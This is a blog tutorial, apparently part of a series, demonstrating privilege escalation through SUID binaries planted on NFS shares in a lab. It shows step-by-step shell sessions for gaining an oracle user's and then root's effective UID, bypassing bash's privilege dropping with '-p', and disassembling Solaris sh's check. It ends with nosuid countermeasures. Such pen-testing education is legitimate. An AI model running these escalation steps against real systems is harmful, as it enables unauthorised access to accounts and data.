Following on from Part 1 of this article, we
continue our introduction to NFS by abusing SUID.
When we talk about SUID here, we also infer
SGID. i.e. you can set the effective group ID as well; but I will leave that as
an exercise for the reader.
Case
4a – nosuid
Unlike the no_root_squash option, which is by default 'squashed', the
ability to have and use SUID executables on an NFS share is there by default.
If you mount a filesystem, there is no indication that you have enabled this
(suid) capability as the non-default flag is the inverse of that.
My Solaris 10U9 box disables this as an explict
(default) flag for the /net filesystem, which you can see in the config /etc/auto_master, but for normal mounts you
must specify it yourself.
What this implies is that the clients (and the
NFS server) trust the data on the filesystem, so much so that you can have
executable code on the filesystem that can take on the privileges of others via
SUID.
Let's assume that you have got unprivileged
access to a Solaris client, but wish to access the oracle user in order to pilfer data
from a database. Let's also assume that you have access to another client as
root or oracle (this could be the attackers box), which can (or does) mount the
NFS share.
On the Solaris client (the DB server) we have
the following setup:
sol10-u9-t4# mkdir /myOracleShare
sol10-u9-t4# groupadd -g 5000 dba
sol10-u9-t4# useradd -u 5000 -g dba -d /export/home/oracle -m
oracle
64 blocks
sol10-u9-t4# chown oracle:dba /myOracleShare/
sol10-u9-t4# mount -F nfs -o vers=3 centos-7-2-t1:/myShare
/myOracleShare/
So, from the attackers controlled box (with
root access and the share mounted), we can do the following. Note that this is
a Linux box in this case, and as it is the attackers box, uid 5000 is user bh5000 and not the name oracle. It will appear as oracle on the DB server.
[bh5000@centos-7-2-t3 ~]$ cp sh.sol10 /tgtNFSmount/
[bh5000@centos-7-2-t3 ~]$ chmod 4755 /tgtNFSmount/sh.sol10
[bh5000@centos-7-2-t3 ~]$ ls -l /tgtNFSmount/sh.sol10
-rwsr-xr-x. 1 bh5000 bh5000 82456 May 18 09:53
/tgtNFSmount/sh.sol10
Now, back on the Oracle DB server, where the
attacker has unprivileged access, we can now do the following:
joe@sol10-u9-t4$ cd /myOracleShare/
joe@sol10-u9-t4$ id -a
uid=102(joe) gid=1000(users) groups=1000(users)
joe@sol10-u9-t4$ ./sh.sol10
$ id -a
uid=102(joe) gid=1000(users) euid=5000(oracle)
groups=1000(users)
Success, our effective UID is now that of the oracle user.
If the client was a Linux box, then we could
also do the same. So, for centos-7-2-t2
as a client, with the mount as /myNFSmount.
[bh5000@centos-7-2-t3 ~]$ cp /bin/bash /tgtNFSmount/bash.centos72
[bh5000@centos-7-2-t3 ~]$ chmod 4755 /tgtNFSmount/bash.centos72
[bh5000@centos-7-2-t3 ~]$ ls -l /tgtNFSmount/bash.centos72
-rwsr-xr-x. 1 bh5000 bh5000 960376 May 18 09:59
/tgtNFSmount/bash.centos72
Then on the client:
[joe@centos-7-2-t2 myNFSmount]$ cd
[joe@centos-7-2-t2 ~]$ cd /myNFSmount/
[joe@centos-7-2-t2 myNFSmount]$ id
uid=6000(joe) gid=6000(joe) groups=6000(joe) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[joe@centos-7-2-t2 myNFSmount]$ ./bash.centos72
bash.centos72-4.2$ id
uid=6000(joe) gid=6000(joe) groups=6000(joe)
context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
Uh. I'm not euid 5000! It didn't work.
As is commonplace, we will have to do a bit
more analysis. Two likely options are, the OS prevented us, or the program
prevented us.
There is a quick way to test this; by using
another executable and see if this causes a problem.
[bh5000@centos-7-2-t3 ~]$ cp /bin/cat /tgtNFSmount/cat.centos72
[bh5000@centos-7-2-t3 ~]$ chmod 4755 /tgtNFSmount/cat.centos72
[joe@centos-7-2-t2 myNFSmount]$ cat /home/oracle/.bash_profile | wc
-l
cat: /home/oracle/.bash_profile: Permission denied
0
[joe@centos-7-2-t2 myNFSmount]$ ./cat.centos72
/home/oracle/.bash_profile | wc -l
12
So it is bash. Why? Let's look at the source
code.
In shell.c we find main(). Within that we see the following which will
set the euid to the real uid (disabling the suid):
if (running_setuid
&& privileged_mode == 0)
disable_priv_mode ();
So, how to set privileged_mode? In flags.c we see the answer, but also the following
comment:
/* Non-zero means that this shell is running in `privileged'
mode. This
is required if the shell
is to run setuid. If the `-p' option is
not supplied at startup,
and the real and effective uids or gids
differ, disable_priv_mode
is called to relinquish setuid status. */
int privileged_mode = 0;
So, let's re-try with the '-p' option:
[joe@centos-7-2-t2 myNFSmount]$ id
uid=6000(joe) gid=6000(joe) groups=6000(joe)
context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[joe@centos-7-2-t2 myNFSmount]$ ./bash.centos72 -p
bash.centos72-4.2$ id
uid=6000(joe) gid=6000(joe) euid=5000(oracle)
groups=6000(joe) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
Success.
Countermeasures depend partly on your
situation.
On Solaris you can export the share as nosuid.
Alternatively, if the filesystem on the NFS
server that houses the share does not need to have suid enabled, then ensure it
is mounted nosuid in the first place.
In any case, however you mount it, ensure that
the nosuid flag is set.
Case
4b – nosuid with no_root_squash
If the administrators have allowed no_root_squash on such a share, well; let
the fun begin.
First, let's take the Linux client and perform
the same trick as in case 4a.
[root@centos-7-2-t3 ~]# cp /bin/bash /tgtNFSmount/bash.centos72
[root@centos-7-2-t3 ~]# chmod 4755 /tgtNFSmount/bash.centos72
[root@centos-7-2-t3 ~]# ls -l /tgtNFSmount/bash.centos72
-rwsr-xr-x. 1 root root 960376 May 18 10:21
/tgtNFSmount/bash.centos72
Then on the client:
[joe@centos-7-2-t2 ~]$ cd /myNFSmount/
[joe@centos-7-2-t2 myNFSmount]$ id
uid=6000(joe) gid=6000(joe) groups=6000(joe)
context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[joe@centos-7-2-t2 myNFSmount]$ ./bash.centos72 -p
bash.centos72-4.2# id
uid=6000(joe) gid=6000(joe) euid=0(root)
groups=6000(joe) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
Yey; got r00t.
Let's 'quickly' finish off with the Solaris
example:
[root@centos-7-2-t3 ~]# cp /home/bh5000/sh.sol10
/tgtNFSmount/sh.sol10
[root@centos-7-2-t3 ~]# chmod 4755 /tgtNFSmount/sh.sol10
[root@centos-7-2-t3 ~]# ls -l /tgtNFSmount/sh.sol10
-rwsr-xr-x. 1 root root 82456 May 18 10:24 /tgtNFSmount/sh.sol10
Then on the client:
joe@sol10-u9-t4$ cd /myOracleShare/
joe@sol10-u9-t4$ id -a
uid=102(joe) gid=1000(users) groups=1000(users)
joe@sol10-u9-t4$ ./sh.sol10
$ id -a
uid=102(joe) gid=1000(users) groups=1000(users)
Arrrgh. It was working a minute ago with the oracle user!
As we are demonstrating this (or prepping in a
test lab as an adversary), let's see the syscall's that occur when we run that
executable. We will need a root window on the Solaris box to do the trace of
the original shell and its siblings and then re-run the SUID shell:
joe@sol10-u9-t4$ echo $$
1526
sol10-u9-t4# truss -f -p 1526
1526: read(0, 0x08047534,
1) (sleeping...)
…
1550: getuid() = 102 [0]
1550: getuid() = 102
[0]
1550: getgid() = 1000
[1000]
1550: getgid() = 1000
[1000]
1550: setuid(102) = 0
…
Unfortunately we do not have the source code
this time, so let's break into a debugger for some analysis of /bin/sh (NB: yes, you could just
dump the code from the binary if you wish; but we would miss all the fun in using
a debugger):
joe@sol10-u9-t4$ mdb /bin/sh
> ::run
$ ^Cmdb: stop on SIGINT
mdb: target stopped at:
libc.so.1`_read+0x15:
jae +0xc <libc.so.1`_read+0x21>
mdb: You've got symbols!
Loading modules: [ ld.so.1 libc.so.1 ]
> ::dis main
...
main+0x240:
call -0xb5b0 <PLT=libc.so.1`geteuid>
main+0x245:
movl %eax,%ebx
main+0x247:
call -0xb2b7 <PLT=libc.so.1`getuid>
main+0x24c:
movl %eax,-0x10(%ebp)
main+0x24f:
call -0xb1cf <PLT=libc.so.1`getegid>
main+0x254:
movl %eax,%edi
main+0x256:
call -0xb1c6 <PLT=libc.so.1`getgid>
main+0x25b:
movl %eax,%esi
main+0x25d: movl
-0x10(%ebp),%eax
main+0x260:
cmpl %eax,%ebx
main+0x262:
je +0x10 <main+0x272>
main+0x264:
cmpl $0x64,%ebx
main+0x267:
jge +0xb <main+0x272>
main+0x269:
pushl %eax
main+0x26a:
call -0xb1ca <PLT:setuid>
main+0x26f:
addl $0x4,%esp
main+0x272:
cmpl %esi,%edi
...
Here we can clearly see the answer.
We get the values for the real and effective
UIDs (and GIDs).
Then, the first compare at main+0x260 checks to see if the real
and effective UIDs are the same; if so we skip the rest of this test and carry
on as normal.
The second compare at main+0x264 checks to see if the
effective UID is greater than or equal to 0x64 (100); if so we carry on as
normal.
If both tests are true then we reset the user's
UID to their real UID. i.e. if we are running SUID and the UID is a system
reserved UID (< 100), drop the privs to that of the calling user.
In both cases (4a, 4b), workarounds to the
program preventing you becoming suid are numerous, including rolling your own
program (just recompile a custom bash, for instance), use another program if
available.
Suggestion 3 – don't allow suid on NFS
From an adversaries or pen-tester's
point-of-view, this is a simple demonstration that it can appear your attack
didn't work, but it did work as intended (the basic premise was right); it is
just that something else broke it. In this case, both bash and Solaris sh shells have countermeasures
to stop SUID abuse irrespective of the use of NFS.
In Part 3 we will wrap up this basic overview
of NFSv2/v3 with a look at a number of other countermeasures.
No comments:
Post a Comment